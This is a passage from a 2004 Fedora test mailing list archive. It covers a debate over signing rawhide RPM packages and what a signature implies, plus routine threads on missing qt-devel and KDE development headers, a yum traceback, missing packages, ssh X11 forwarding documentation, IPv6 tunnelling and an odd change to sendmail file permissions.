become more > signature aware and tools become more demanding that signatures be > present on consumable rpms, that signing throw away packages like > rawhide packages encourages people to use those packages out of > context, and encourages people to store individual rawhide packages > for later use on other systems, instead of encouraging people to using > a full rawhide collection. I (as a clueless user) can do the same thing with unsigned packages. gpg doesn't encourage anything new to the clueless user. > > We can argue about the techical definition of what gpg-signing > means. lets not > This is a matter of common peception as to what signing a package > means, and what vendors has historically wanted people to think > signing a package means... in the context of rpm's implementation of > signing and not in the context of gnupg's or pgp's general purpose > implementation. And I argue that historically... rpm package > signing has meant more than "built on this host" and that many > vendors including Red Hat have meant it to mean more than "built on > this host." And i will argue that until rpm get support for the > trust metric concept using signed keys, signing rawhide packages > encourages people to "trust" rawhide packages. Where "trust" is a > quantifiable measurement based on key signatures. -jef - Here the assumption is: EVERONE's perception about gpg-signed rpms (or rawhide) is the same. - And perception is no excuse for proper documentaion. - There will always be wrong assumptions by users. This doesn't equate to not signing-rawhide-packages. [And documenting it] And as Matias already pointed out - lets not mix QA perception with 'signature'. Satish From dcbw at redhat.com Mon Nov 1 21:14:54 2004 From: dcbw at redhat.com (Dan Williams) Date: Mon, 01 Nov 2004 16:14:54 -0500 Subject: qt headers missing in FC3rc3+ ? In-Reply-To: <1099341774.4454.5.camel@localhost.localdomain> References: <1099341774.4454.5.camel@localhost.localdomain> Message-ID: <1099343694.23880.13.camel@dcbw.boston.redhat.com> On Mon, 2004-11-01 at 13:42 -0700, Kim Lux wrote: > I'm trying to build a package with the process that worked fine in fc2 > and fc3t3. It doesn't work properly in fc3rc3+ (or whatever "they" call > what I am running these days...) > > When I run ./configure I get: > > > > checking for libjpeg6b... no > checking for libjpeg... -ljpeg > checking for perl... /usr/bin/perl > checking for Qt... configure: error: Qt (>= Qt 3.2) (headers and > libraries) notfound. Please check your installation! > For more details about this problem, look at the end of config.log. Have you got qt-devel installed? Dan From smooge at gmail.com Mon Nov 1 21:16:51 2004 From: smooge at gmail.com (Stephen J. Smoogen) Date: Mon, 1 Nov 2004 14:16:51 -0700 Subject: Strange Yum Error Message-ID: <80d7e40904110113165590570@mail.gmail.com> Sorry for the bug and run.. wanted to email this before I forgot in meetings. [root at localhost SPECS]# yum install autoconf213 Setting up Install Process Setting up Repo: development repomd.xml 100% |=========================| 1.1 kB 00:00 Setting up Repo: testing repomd.xml 100% |=========================| 1.1 kB 00:00 Reading repository metadata in from local files developmen: ################################################## 3426/3426 testing : ################################################## 2622/2622 Traceback (most recent call last): File "/usr/bin/yum", line 8, in ? yummain.main(sys.argv[1:]) File "/usr/share/yum-cli/yummain.py", line 68, in main result, resultmsgs = base.doCommands() File "/usr/share/yum-cli/cli.py", line 374, in doCommands return self.installPkgs() File "/usr/share/yum-cli/cli.py", line 734, in installPkgs pkglist = returnBestPackages(toBeInstalled) File "/usr/lib/python2.3/site-packages/yum/packages.py", line 123, in returnBestPackages elif rpmUtils.arch.isMultiLibArch(arch=a): File "/usr/lib/python2.3/site-packages/rpmUtils/arch.py", line 69, in isMultiLibArch if multilibArches.has_key(arches[arch]): KeyError: 'noarch' The testing repo is the testing.fedora.redhat.com and the devel one is straight out of the RPMs. Again sorry for the quick email. Will try to bugzilla later. -- Stephen J Smoogen. CSIRT/Linux System Administrator From balay at fastmail.fm Mon Nov 1 21:24:54 2004 From: balay at fastmail.fm (Satish Balay) Date: Mon, 1 Nov 2004 15:24:54 -0600 (CST) Subject: Should Fedora rpms be signed? In-Reply-To: <1099338407.25045.116.camel@localhost.localdomain> References: <49796.195.34.133.68.1098782874.squirrel@195.34.133.68> <2983.12.29.16.103.1098793539.squirrel@whooper.org> <1098794047.11444.1.camel@localhost.localdomain> <2073.12.29.16.103.1098966545.squirrel@whooper.org> <26048.213.164.3.90.1098966862.squirrel@213.164.3.90> <1098981281.6109.28.camel@localhost.localdomain> <1099047474.4019.10.camel@gibraltar.stuttgart.redhat.com> <41823E17.5@gats-inc.com> <1409.12.29.16.103.1099055899.squirrel@whooper.org> <1099057007.4019.85.camel@gibraltar.stuttgart.redhat.com> <604aa79104102907087f7f4d02@mail.gmail.com> <1099330554.25045.81.camel@localhost.localdomain> <1099338407.25045.116.camel@localhost.localdomain> Message-ID: On Mon, 1 Nov 2004, Peter Jones wrote: > On Mon, 2004-11-01 at 12:24 -0600, Satish Balay wrote: > > > > Are you saying - currently when a package is gpg-signed by a person - > > he/she actually goes through a manual process of verifying the > > following? > > > > - source is not tampered (including the intial .tar.gz, patches, .spec files) > > - binary is not tampered > > - source -> binary process didn't introduce 'ANY' tampering? > > I'm saying that when we release signed packages as Fedora or as Red Hat, > we are acknowledging that we intend for all of these to be the case, and > that we believe they are. That is to say that when we distribute a > signed package it generally holds true, and is assumed to be true, that: > > - we've not included malicious code from the upstream > - we don't think there are negative legal ramifications of > us distributing that package in the distro > - the source has not been maliciously tampered while retrieving > it from the upstream source > - the packaging itself is reasonable and will not harm your system > when used appropriately > - the process of compiling it did not introduce harmful changes > which should have or could have been known ahead of time (that is, > that the build environment can be trusted not to introduce problems) > - for Fedora Core packages, the packages are free software > - the packages are really from us (the signer) > > This is at least the case when we release a distro, a release candidate, > or a test release in which the packages are signed. And in the very > minor variations where one of these points isn't the case, the > perception is still that they all are. That's what's important here, > not the intent. If the intent isn't perfectly clear when looking at the > data and the tools, then it doesn't make any difference to our users. Ok - I had to respond to this. The correct thing to do is to document the above text for EACH gpg-key redhat uses. Saying the text is the SAME for ALL keys (hence can't sign rawhide) is wrong. And you haven't specified what the gpg-singer does (the process he uses) to provide the above checks before signing. > > I further stipulate that unless there is actually some observable, > immutable data to signify that a signature means only that the source > has been verified, many users will assume that any signature represents > _all_ of these things, and they are justified in this assumption. There will always be wrong assumption. The fix is documentation. > The problem that people are hoping to address is inconvenience of > testing rawhide packages because they are not signed. Right now, > package update tools have no option but to check both if the package > data is correct and if the package is the one intended to be in the > repo. > > Update tool authors resist making signature checking configurable on a > per-repo basis, which would alleviate the strain but reduce the overall > utility of the tools. yum has an option to do independent 'gpg-checks' on each repository. So this is not the problem. > At the same time, users of rawhide and update > tools really only care that the package is from the repo, not anything > else. So the best answer, IMO, is to make it so that you can say "this > is the right package" without all of the other implications, and then to > change the update tools so that you *can* say "for this repo, I only > care that the package is really from the repo". We don't need to check > our traditional "package signature" per se; we need to check only that Now you are coming up with a complex system just to justfy using multiple gpg-keys with the exact same meaning. I'll stop now. Satish From michal at harddata.com Mon Nov 1 21:25:20 2004 From: michal at harddata.com (Michal Jaegermann) Date: Mon, 1 Nov 2004 14:25:20 -0700 Subject: Urgent - Potential security hole. In-Reply-To: <20041101195059.GA16224@redhat.com>; from nalin@redhat.com on Mon, Nov 01, 2004 at 02:50:59PM -0500 References: <1099142364.18887.6.camel@localhost.localdomain> <20041030110613.A16072@mail.harddata.com> <20041101195059.GA16224@redhat.com> Message-ID: <20041101142520.D11867@mail.harddata.com> On Mon, Nov 01, 2004 at 02:50:59PM -0500, Nalin Dahyabhai wrote: > On Sat, Oct 30, 2004 at 11:06:13AM -0600, Michal Jaegermann wrote: > > > > There is another problem, though. 'man ssh' says: > > > > X11 and TCP forwarding > > If the ForwardX11 variable is set to "yes" ... ... > > and not a peep about some '-Y'. > The short-and-probably-inadequate explanation is that untrusted clients > can only interact/mess with other untrusted clients, the idea being that > you have clients which might misbehave, and those that you trust to not. What I can guess, rightly or wrongly, is another story. :-) I just pointed out that the current documentation for 'ssh' is somewhat, ah, inadequte and even a bit misleading. An explicit reference to other sources you quote would undoubtely help; as also a word or two about '-Y' in a subsection entitled "X11 and TCP forwarding". I am also not sure if I see right away an example when '-X' option would be really useful with this version of ssh. Maybe I do not have a setup where I can see that? Michal From lux at diesel-research.com Mon Nov 1 21:26:56 2004 From: lux at diesel-research.com (Kim Lux) Date: Mon, 01 Nov 2004 14:26:56 -0700 Subject: qt headers missing in FC3rc3+ ? In-Reply-To: <1099343694.23880.13.camel@dcbw.boston.redhat.com> References: <1099341774.4454.5.camel@localhost.localdomain> <1099343694.23880.13.camel@dcbw.boston.redhat.com> Message-ID: <1099344416.4454.17.camel@localhost.localdomain> # rpm -q qt-devel package qt-devel is not installed DOH ! I installed them via yum, now I've got a KDE error: checking for KDE... configure: error: in the prefix, you've chosen, are no KDE headers installed. This will fail. So, check this please and use another prefix! Is there a kdebase-devel or similar package I am missing ? I miss having synaptic installed. On Mon, 2004-11-01 at 16:14 -0500, Dan Williams wrote: > On Mon, 2004-11-01 at 13:42 -0700, Kim Lux wrote: > > I'm trying to build a package with the process that worked fine in fc2 > > and fc3t3. It doesn't work properly in fc3rc3+ (or whatever "they" call > > what I am running these days...) > > > > When I run ./configure I get: > > > > > > > > checking for libjpeg6b... no > > checking for libjpeg... -ljpeg > > checking for perl... /usr/bin/perl > > checking for Qt... configure: error: Qt (>= Qt 3.2) (headers and > > libraries) notfound. Please check your installation! > > For more details about this problem, look at the end of config.log. > > Have you got qt-devel installed? > > Dan > From dcbw at redhat.com Mon Nov 1 21:32:30 2004 From: dcbw at redhat.com (Dan Williams) Date: Mon, 01 Nov 2004 16:32:30 -0500 Subject: qt headers missing in FC3rc3+ ? In-Reply-To: <1099344416.4454.17.camel@localhost.localdomain> References: <1099341774.4454.5.camel@localhost.localdomain> <1099343694.23880.13.camel@dcbw.boston.redhat.com> <1099344416.4454.17.camel@localhost.localdomain> Message-ID: <1099344750.23880.28.camel@dcbw.boston.redhat.com> On Mon, 2004-11-01 at 14:26 -0700, Kim Lux wrote: > Is there a kdebase-devel or similar package I am missing ? Yup! There's a kdelibs-devel package that you probably need. > I miss having synaptic installed. How would that help? This is during the build of a package, not install time, and AFAIK synaptic doesn't run during build-time of a package... Arguably, rpmbuild should be failing whining about missing BuildRequires though, unless the package is broken... Dan From lux at diesel-research.com Mon Nov 1 21:48:48 2004 From: lux at diesel-research.com (Kim Lux) Date: Mon, 01 Nov 2004 14:48:48 -0700 Subject: qt headers missing in FC3rc3+ ? In-Reply-To: <1099344750.23880.28.camel@dcbw.boston.redhat.com> References: <1099341774.4454.5.camel@localhost.localdomain> <1099343694.23880.13.camel@dcbw.boston.redhat.com> <1099344416.4454.17.camel@localhost.localdomain> <1099344750.23880.28.camel@dcbw.boston.redhat.com> Message-ID: <1099345728.4454.21.camel@localhost.localdomain> Actually, this thing needed kdebase-devel. (I checked.) I am installing that with yum. One of the deps for it is kdelibs-devel, so that is getting installed too. How would synaptics help ? I used to use it to browse related libraries and to visually see what was and what wasn't installed on my computer. I'm running FC3rc3+. I selected all the development tools on the cd, but obviously this stuff isn't getting installed anymore. It was on FC32 and FC3t3. Thanks for your help. Configure works without error now. On Mon, 2004-11-01 at 16:32 -0500, Dan Williams wrote: > On Mon, 2004-11-01 at 14:26 -0700, Kim Lux wrote: > > Is there a kdebase-devel or similar package I am missing ? > > Yup! There's a kdelibs-devel package that you probably need. > > > I miss having synaptic installed. > > How would that help? This is during the build of a package, not install > time, and AFAIK synaptic doesn't run during build-time of a package... > Arguably, rpmbuild should be failing whining about missing BuildRequires > though, unless the package is broken... > > Dan > From gstool at earthlink.net Mon Nov 1 22:03:01 2004 From: gstool at earthlink.net (Gerry Tool) Date: Mon, 01 Nov 2004 16:03:01 -0600 Subject: Where is Quanta+? Message-ID: <4186B295.7080903@earthlink.net> There seems to be no Quanta+ HTML editor available in FC3RC5. I expected to find it after my normal custom selections, but it is not installed. I cannot find it in the lists for Add/Remove Programs, either. Has it been dropped, or am I missing something? This is a very useful program. Gerry Tool From skvidal at phy.duke.edu Mon Nov 1 22:04:52 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Mon, 01 Nov 2004 17:04:52 -0500 Subject: Strange Yum Error In-Reply-To: <80d7e40904110113165590570@mail.gmail.com> References: <80d7e40904110113165590570@mail.gmail.com> Message-ID: <1099346692.520.0.camel@opus.phy.duke.edu> > File "/usr/lib/python2.3/site-packages/rpmUtils/arch.py", line 69, > in isMultiLibArch > if multilibArches.has_key(arches[arch]): > KeyError: 'noarch' > > The testing repo is the testing.fedora.redhat.com and the devel one is > straight out of the RPMs. > > Again sorry for the quick email. Will try to bugzilla later. > Bugzilla: 137711 -sv From jspaleta at gmail.com Mon Nov 1 22:04:59 2004 From: jspaleta at gmail.com (Jeff Spaleta) Date: Mon, 1 Nov 2004 17:04:59 -0500 Subject: Should Fedora rpms be signed? In-Reply-To: <604aa79104110114041e7d33d3@mail.gmail.com> References: <49796.195.34.133.68.1098782874.squirrel@195.34.133.68> <1099047474.4019.10.camel@gibraltar.stuttgart.redhat.com> <1099330047.25045.73.camel@localhost.localdomain> <604aa7910411011133401853@mail.gmail.com> <604aa791041101121243b13196@mail.gmail.com> <604aa7910411011214741c9c3d@mail.gmail.com> <604aa79104110114041e7d33d3@mail.gmail.com> Message-ID: <604aa791041101140421f007e4@mail.gmail.com> On Mon, 1 Nov 2004 14:51:34 -0600 (CST), Satish Balay wrote: > And as Matias already pointed out - lets not mix QA perception with > 'signature'. I'm not.. i havent talked about QA at all. I'm talking about "trust" as defined in mature pgp/gpg implementations. Would you like references that talk about the trust metric inherent in something like gnupg? I'm saying that comparing packaging signing as implemented inside the rpm to general purpose gpg signing using gnupg is a somewhat apples to oranges discussion, and that the principles associated with general purpose gpg usage using an implementation like gnupg can not be mapped over to rpm's signing implementation without acknowledgment that rpm's lack of that inherent "trust" metric has greatly impacted what rpm package signing has meant historically. Changing the meaning now, simply by changing documentation isn't good enough for me. I believe the web-of-trust concept is a vital part of a full gpg implementation, and that historically the lack of a web-of-trust metric has meant that signed packages have been used both for shallow verification and as an inherent measure of "trust". Once there is an inherent "trust" metric respect of signed keys inside rpm, many of my concerns would be addressed. I encourage you to read up on how gnupg( aka gpg) calculates its trust database.... it has nothing to do with QA. -jef From lux at diesel-research.com Mon Nov 1 22:06:28 2004 From: lux at diesel-research.com (Kim Lux) Date: Mon, 01 Nov 2004 15:06:28 -0700 Subject: Where is Quanta+? In-Reply-To: <4186B295.7080903@earthlink.net> References: <4186B295.7080903@earthlink.net> Message-ID: <1099346788.4454.26.camel@localhost.localdomain> gview is missing too. Why is synaptic always left off Fedora distros ? Hasn't it gotten to the point that synaptic is a generally accepted method of installing packages ? On Mon, 2004-11-01 at 16:03 -0600, Gerry Tool wrote: > There seems to be no Quanta+ HTML editor available in FC3RC5. I > expected to find it after my normal custom selections, but it is not > installed. I cannot find it in the lists for Add/Remove Programs, either. > > Has it been dropped, or am I missing something? This is a very useful > program. > > Gerry Tool > From skvidal at phy.duke.edu Mon Nov 1 22:07:08 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Mon, 01 Nov 2004 17:07:08 -0500 Subject: qt headers missing in FC3rc3+ ? In-Reply-To: <1099345728.4454.21.camel@localhost.localdomain> References: <1099341774.4454.5.camel@localhost.localdomain> <1099343694.23880.13.camel@dcbw.boston.redhat.com> <1099344416.4454.17.camel@localhost.localdomain> <1099344750.23880.28.camel@dcbw.boston.redhat.com> <1099345728.4454.21.camel@localhost.localdomain> Message-ID: <1099346828.520.2.camel@opus.phy.duke.edu> On Mon, 2004-11-01 at 16:48, Kim Lux wrote: > Actually, this thing needed kdebase-devel. (I checked.) I am installing > that with yum. One of the deps for it is kdelibs-devel, so that is > getting installed too. > > How would synaptics help ? > > I used to use it to browse related libraries and to visually see what > was and what wasn't installed on my computer. > yum list available \*-devel As a good way to start. -sv From lux at diesel-research.com Mon Nov 1 22:17:27 2004 From: lux at diesel-research.com (Kim Lux) Date: Mon, 01 Nov 2004 15:17:27 -0700 Subject: Where is Quanta+? In-Reply-To: <1099346788.4454.26.camel@localhost.localdomain> References: <4186B295.7080903@earthlink.net> <1099346788.4454.26.camel@localhost.localdomain> Message-ID: <1099347447.4454.28.camel@localhost.localdomain> BTW: Quanta is supposed to be WYSIWYG in KDE 3.2 +. I was looking forward to using it too. On Mon, 2004-11-01 at 15:06 -0700, Kim Lux wrote: > gview is missing too. > > Why is synaptic always left off Fedora distros ? Hasn't it gotten to > the point that synaptic is a generally accepted method of installing > packages ? > > > On Mon, 2004-11-01 at 16:03 -0600, Gerry Tool wrote: > > There seems to be no Quanta+ HTML editor available in FC3RC5. I > > expected to find it after my normal custom selections, but it is not > > installed. I cannot find it in the lists for Add/Remove Programs, either. > > > > Has it been dropped, or am I missing something? This is a very useful > > program. > > > > Gerry Tool > > > From kyrre at solution-forge.net Mon Nov 1 22:15:21 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Mon, 01 Nov 2004 23:15:21 +0100 Subject: Where is Quanta+? In-Reply-To: <1099346788.4454.26.camel@localhost.localdomain> References: <4186B295.7080903@earthlink.net> <1099346788.4454.26.camel@localhost.localdomain> Message-ID: <1099347320.2673.39.camel@kyrre> Synaptic: Well, if you port it to yum, ill guess nobody would disagree... man, 01.11.2004 kl. 23.06 skrev Kim Lux: > gview is missing too. > > Why is synaptic always left off Fedora distros ? Hasn't it gotten to > the point that synaptic is a generally accepted method of installing > packages ? > > > On Mon, 2004-11-01 at 16:03 -0600, Gerry Tool wrote: > > There seems to be no Quanta+ HTML editor available in FC3RC5. I > > expected to find it after my normal custom selections, but it is not > > installed. I cannot find it in the lists for Add/Remove Programs, either. > > > > Has it been dropped, or am I missing something? This is a very useful > > program. > > > > Gerry Tool > > From deji_aking at yahoo.ca Mon Nov 1 22:18:54 2004 From: deji_aking at yahoo.ca (Deji Akingunola) Date: Mon, 01 Nov 2004 17:18:54 -0500 Subject: Where is Quanta+? In-Reply-To: <1099346788.4454.26.camel@localhost.localdomain> References: <4186B295.7080903@earthlink.net> <1099346788.4454.26.camel@localhost.localdomain> Message-ID: <1099347534.3296.27.camel@peace> On Mon, 2004-11-01 at 15:06 -0700, Kim Lux wrote: > gview is missing too. > > Why is synaptic always left off Fedora distros ? Hasn't it gotten to > the point that synaptic is a generally accepted method of installing > packages ? > why should there be synaptic ?), apt is not even in there in the first place. > > > -- Deji Akingunola From lux at diesel-research.com Mon Nov 1 22:39:35 2004 From: lux at diesel-research.com (Kim Lux) Date: Mon, 01 Nov 2004 15:39:35 -0700 Subject: Where is Quanta+? In-Reply-To: <1099347534.3296.27.camel@peace> References: <4186B295.7080903@earthlink.net> <1099346788.4454.26.camel@localhost.localdomain> <1099347534.3296.27.camel@peace> Message-ID: <1099348775.4549.0.camel@localhost.localdomain> I just found "Quanta Plus" under the programming menu in my FC3rc3+ install. From pjones at redhat.com Mon Nov 1 22:58:50 2004 From: pjones at redhat.com (Peter Jones) Date: Mon, 01 Nov 2004 17:58:50 -0500 Subject: Should Fedora rpms be signed? In-Reply-To: References: <49796.195.34.133.68.1098782874.squirrel@195.34.133.68> <2983.12.29.16.103.1098793539.squirrel@whooper.org> <1098794047.11444.1.camel@localhost.localdomain> <2073.12.29.16.103.1098966545.squirrel@whooper.org> <26048.213.164.3.90.1098966862.squirrel@213.164.3.90> <1098981281.6109.28.camel@localhost.localdomain> <1099047474.4019.10.camel@gibraltar.stuttgart.redhat.com> <41823E17.5@gats-inc.com> <1409.12.29.16.103.1099055899.squirrel@whooper.org> <1099057007.4019.85.camel@gibraltar.stuttgart.redhat.com> <604aa79104102907087f7f4d02@mail.gmail.com> <1099330554.25045.81.camel@localhost.localdomain> <1099338407.25045.116.camel@localhost.localdomain> Message-ID: <1099349930.25045.130.camel@localhost.localdomain> On Mon, 2004-11-01 at 15:24 -0600, Satish Balay wrote: > Ok - I had to respond to this. > > The correct thing to do is to document the above text for EACH gpg-key > redhat uses. Saying the text is the SAME for ALL keys (hence can't > sign rawhide) is wrong. > > And you haven't specified what the gpg-singer does (the process he > uses) to provide the above checks before signing. No, that's still a recipe for total failure. The data has to exist outside of the key. All the key does is sign something. That's all. Nothing more. Otherwise I have to know where (and how) to look up which keys mean what. This is annoying for Fedora's (and Red Hat's) keys, but for a 3rd party repo, like freshrpms or even Fedora Legacy, it's a non- starter. > > I further stipulate that unless there is actually some observable, > > immutable data to signify that a signature means only that the source > > has been verified, many users will assume that any signature represents > > _all_ of these things, and they are justified in this assumption. > > There will always be wrong assumption. The fix is documentation. No, the fix the software to not require users to make assumptions. Especially not assumptions we've taught them to make. Documentation rots just like code does, if not quicker. If the cert (not the key, not the signature, but some data being signed!) says "this means only that the package is the one we said it was", people don't need to make an assumption to get to "this doesn't mean this is supported by Red Hat". It clearly doesn't say that. > > The problem that people are hoping to address is inconvenience of > > testing rawhide packages because they are not signed. Right now, > > package update tools have no option but to check both if the package > > data is correct and if the package is the one intended to be in the > > repo. > > > > Update tool authors resist making signature checking configurable on a > > per-repo basis, which would alleviate the strain but reduce the overall > > utility of the tools. > > yum has an option to do independent 'gpg-checks' on each repository. So this > is not the problem. You'll have to check with Seth, but I believe he's even come up with this same proposal -- no checks on the package, but a signature on the repo metadata that gives package filename and a cryptographic hash, which would be checked. He's also not the only person who's written an update tool in widespread use. > > At the same time, users of rawhide and update > > tools really only care that the package is from the repo, not anything > > else. So the best answer, IMO, is to make it so that you can say "this > > is the right package" without all of the other implications, and then to > > change the update tools so that you *can* say "for this repo, I only > > care that the package is really from the repo". We don't need to check > > our traditional "package signature" per se; we need to check only that > > Now you are coming up with a complex system just to justfy using > multiple gpg-keys with the exact same meaning. It's not very complex at all. It's checking one signature on one file, per repo. And it _is_ what people are asking for -- to paraphrase the bazillion emails asking for it, "please don't make me click a button just because the package is not from a released product". -- Peter From smooge at gmail.com Mon Nov 1 23:05:09 2004 From: smooge at gmail.com (Stephen J. Smoogen) Date: Mon, 1 Nov 2004 16:05:09 -0700 Subject: FC3T2 EggCups Crashing In-Reply-To: <41587143.7030807@lopht.net> References: <1096315045.3341.5.camel@cei3544.empower.ceimaine.org> <41587143.7030807@lopht.net> Message-ID: <80d7e4090411011505556d60df@mail.gmail.com> On Mon, 27 Sep 2004 15:00:03 -0500, Justin Georgeson wrote: > discussed yesterday, > > http://www.redhat.com/archives/fedora-test-list/2004-September/msg01274.html > > the second post in the thread has a link to a bugzilla entry. the forth > post explains how to get the dialog to stop popping up repeatedly. > It seems to have re-appeared for me today. I did a FC3RC5 fresh install and in my old user directory removed .gconf and .gnome directories to start fresh. Ended up with a eggcups crash every couple of prints with the following traceback in attachment. Will try to bugzilla this evening. -- Stephen J Smoogen. CSIRT/Linux System Administrator -------------- next part -------------- A non-text attachment was scrubbed... Name: xxxx9 Type: application/octet-stream Size: 6846 bytes Desc: not available URL: From cpg at users.sourceforge.net Mon Nov 1 23:09:45 2004 From: cpg at users.sourceforge.net (Carlos Puchol) Date: Mon, 1 Nov 2004 15:09:45 -0800 Subject: sendmail dropping outgoing email on the floor In-Reply-To: <20041028054226.GA529@rome.puchol.com> References: <20041027230908.GA31600@rome.puchol.com> <1098929044.18072.342.camel@serendipity.dogma.lan> <20041028054226.GA529@rome.puchol.com> Message-ID: <20041101230945.GA8424@rome.puchol.com> self follow up ... carlos puchol wrote: > [22:27:55](3)rome:cpg# ll -L /usr/sbin/sendmail* > -rwxr-sr-x 1 root smmsp 748296 Sep 1 03:20 /usr/sbin/sendmail > -rwsr-xr-x 1 root root 2089729 Sep 13 09:20 /usr/sbin/sendmail.exim > -rwxr-xr-x 1 root root 141344 Aug 5 08:03 /usr/sbin/sendmail.postfix > -rwxr-sr-x 1 root smmsp 748296 Sep 1 03:20 /usr/sbin/sendmail.sendmail > [22:28:01](3)rome:cpg# > > i can't. so -- i am baffled as to how the user/group and > the setuid was changed. i am 100% certain i did not change the > permissions or user/group by hand. after rebooting a couple of times i got the clientmqueue error again today and mail got dropped! admittedly i didn't notice before because i did not try sending email from the machine subject to this bug. the permissions to /usr/sbin/sendmail.sendmail have gone _again_ to a user (my user - cpg)!!! [15:02:38](1)rome:cpg# ll -L /usr/sbin/sendmail* -rwxr-xr-x 1 root root 141344 Aug 5 08:03 /usr/sbin/sendmail -rwsr-xr-x 1 root root 2089729 Sep 13 09:20 /usr/sbin/sendmail.exim -rwxr-xr-x 1 root root 141344 Aug 5 08:03 /usr/sbin/sendmail.postfix -rwxr-xr-x 1 cpg users 748296 Sep 1 03:20 /usr/sbin/sendmail.sendmail [15:02:40](1)rome:cpg# i don't know how this can happen. this seems quite dangerous! thankfully the setuid is no longer there, but this seems awfully "close" to a security issue - some process is (incorrectly) changing permissions of sensitive system files. more later when i have a chance to debug this ... -c From lnxxprt at arcor.de Mon Nov 1 23:10:27 2004 From: lnxxprt at arcor.de (D. Stolte) Date: Tue, 02 Nov 2004 00:10:27 +0100 Subject: IPv6 tunneling broken in latest rawhide? In-Reply-To: <1099335377.3833.0.camel@hostmaster.org> References: <1099335377.3833.0.camel@hostmaster.org> Message-ID: <4186C263.60501@arcor.de> sit1 Protokoll:IPv6-nach-IPv4 inet6 Adresse: fe80::c0a8:101/64 G?ltigkeitsbereich:Verbindung inet6 Adresse: 2001:xxxx:xxxx:ffff::1d3/127 G?ltigkeitsbereich:Global inet6 Adresse: fe80::d536:cc75/64 G?ltigkeitsbereich:Verbindung inet6 Adresse: fe80::c0a8:1/64 G?ltigkeitsbereich:Verbindung UP PUNKTZUPUNKT RUNNING NOARP MTU:1472 Metric:1 RX packets:170 errors:0 dropped:0 overruns:0 frame:0 TX packets:314 errors:0 dropped:0 overruns:0 carrier:0 Kollisionen:0 Sendewarteschlangenl?nge:0 RX bytes:33035 (32.2 KiB) TX bytes:33690 (32.9 KiB) [root at gate ~]# ping6 www.kame.net PING www.kame.net(orange.kame.net) 56 data bytes 64 bytes from orange.kame.net: icmp_seq=0 ttl=57 time=486 ms 64 bytes from orange.kame.net: icmp_seq=1 ttl=57 time=541 ms 64 bytes from orange.kame.net: icmp_seq=2 ttl=57 time=435 ms [root at xxx ~]# ping6 www.kame.net PING www.kame.net(orange.kame.net) 56 data bytes 64 bytes from orange.kame.net: icmp_seq=0 ttl=56 time=505 ms 64 bytes from orange.kame.net: icmp_seq=1 ttl=56 time=464 ms 64 bytes from orange.kame.net: icmp_seq=2 ttl=56 time=486 ms works fine here. /ds Thomas Zehetbauer wrote: > Hi, > > it seems that one of the recent rawhide upgrades broke my IPv6 6in4 > tunneling setup. Although the system says that it brought up the sit1 > device on boot it does not appear in ifconfig and even ifup sit1 does > not help. Anyone else seeing this? > > Tom > > From pjones at redhat.com Mon Nov 1 23:11:26 2004 From: pjones at redhat.com (Peter Jones) Date: Mon, 01 Nov 2004 18:11:26 -0500 Subject: Should Fedora rpms be signed? In-Reply-To: References: <49796.195.34.133.68.1098782874.squirrel@195.34.133.68> <2073.12.29.16.103.1098966545.squirrel@whooper.org> <26048.213.164.3.90.1098966862.squirrel@213.164.3.90> <1098981281.6109.28.camel@localhost.localdomain> <1099047474.4019.10.camel@gibraltar.stuttgart.redhat.com> <1099330047.25045.73.camel@localhost.localdomain> <604aa7910411011133401853@mail.gmail.com> <604aa791041101121243b13196@mail.gmail.com> <604aa7910411011214741c9c3d@mail.gmail.com> Message-ID: <1099350686.25045.137.camel@localhost.localdomain> On Mon, 2004-11-01 at 14:51 -0600, Satish Balay wrote: > - Here the assumption is: EVERONE's perception about gpg-signed rpms > (or rawhide) is the same. No, just that a significant number of people to make us all miserable believe it means more than "the vendor says this is the one you meant to download". > - And perception is no excuse for proper documentaion. But when proper documentation and perception differ, perception has already won. I agree, we should document whatever is agreed upon. But let's not agree on something unlike the real world's current perception. That's just silly. And still, proper documentation is no excuse for non-explicit data formats. > - There will always be wrong assumptions by users. This doesn't equate > to not signing-rawhide-packages. [And documenting it] The proposal for signing rawhide packages does nothing to dissuade those wrong assumptions, even though it's a relatively easy thing. > And as Matias already pointed out - lets not mix QA perception with > 'signature'. And let's not mix "signature" with "signature on one piece of data that makes a specific claim". We don't have the latter, and it's best not to use the former at places where it's important for people to have the more limited set of expectations. -- Peter "Traveling through hyperspace isn't like dusting crops, boy." -- Solo From tim at birdsnest.maths.tcd.ie Mon Nov 1 22:31:11 2004 From: tim at birdsnest.maths.tcd.ie (Timothy Murphy) Date: Mon, 1 Nov 2004 22:31:11 +0000 Subject: fc3test upgrade to fc3 final In-Reply-To: References: <1099082567.12671.32.camel@keny.praguesoft.cz> Message-ID: <200411012231.12366.tim@birdsnest.maths.tcd.ie> On Monday 01 November 2004 18:00, Elliot Lee wrote: > > And what should be my expectation for rc releases? > > The same... "It ain't over till it's over." This argument about the danger of upgrading is often given, but I have never seen the opposite danger of a new installation spelt out. In my experience, the kernel in new installations frequently does not work - I haven't seen any kernel since Redhat-8.0 which ran on my not very unusual SCSI-only machine. I've also had problems with the kernels in new installations on my Sony Picturebooks. Perhaps I am atypical, but I have found that the chances of a new installtion running are much lower than the chances of an upgrade running - because I can choose an old kernel I know to work with an upgrade. Also of course if an upgrade does not work one can always try a clean installation, while the converse is not possible. -- Timothy Murphy e-mail (<80k only): tim /at/ birdsnest.maths.tcd.ie tel: +353-86-2336090, +353-1-2842366 s-mail: School of Mathematics, Trinity College, Dublin 2, Ireland From skvidal at phy.duke.edu Mon Nov 1 23:29:34 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Mon, 01 Nov 2004 18:29:34 -0500 Subject: Should Fedora rpms be signed? In-Reply-To: <1099338407.25045.116.camel@localhost.localdomain> References: <49796.195.34.133.68.1098782874.squirrel@195.34.133.68> <2983.12.29.16.103.1098793539.squirrel@whooper.org> <1098794047.11444.1.camel@localhost.localdomain> <2073.12.29.16.103.1098966545.squirrel@whooper.org> <26048.213.164.3.90.1098966862.squirrel@213.164.3.90> <1098981281.6109.28.camel@localhost.localdomain> <1099047474.4019.10.camel@gibraltar.stuttgart.redhat.com> <41823E17.5@gats-inc.com> <1409.12.29.16.103.1099055899.squirrel@whooper.org> <1099057007.4019.85.camel@gibraltar.stuttgart.redhat.com> <604aa79104102907087f7f4d02@mail.gmail.com> <1099330554.25045.81.camel@localhost.localdomain> <1099338407.25045.116.camel@localhost.localdomain> Message-ID: <1099351774.520.13.camel@opus.phy.duke.edu> > Update tool authors 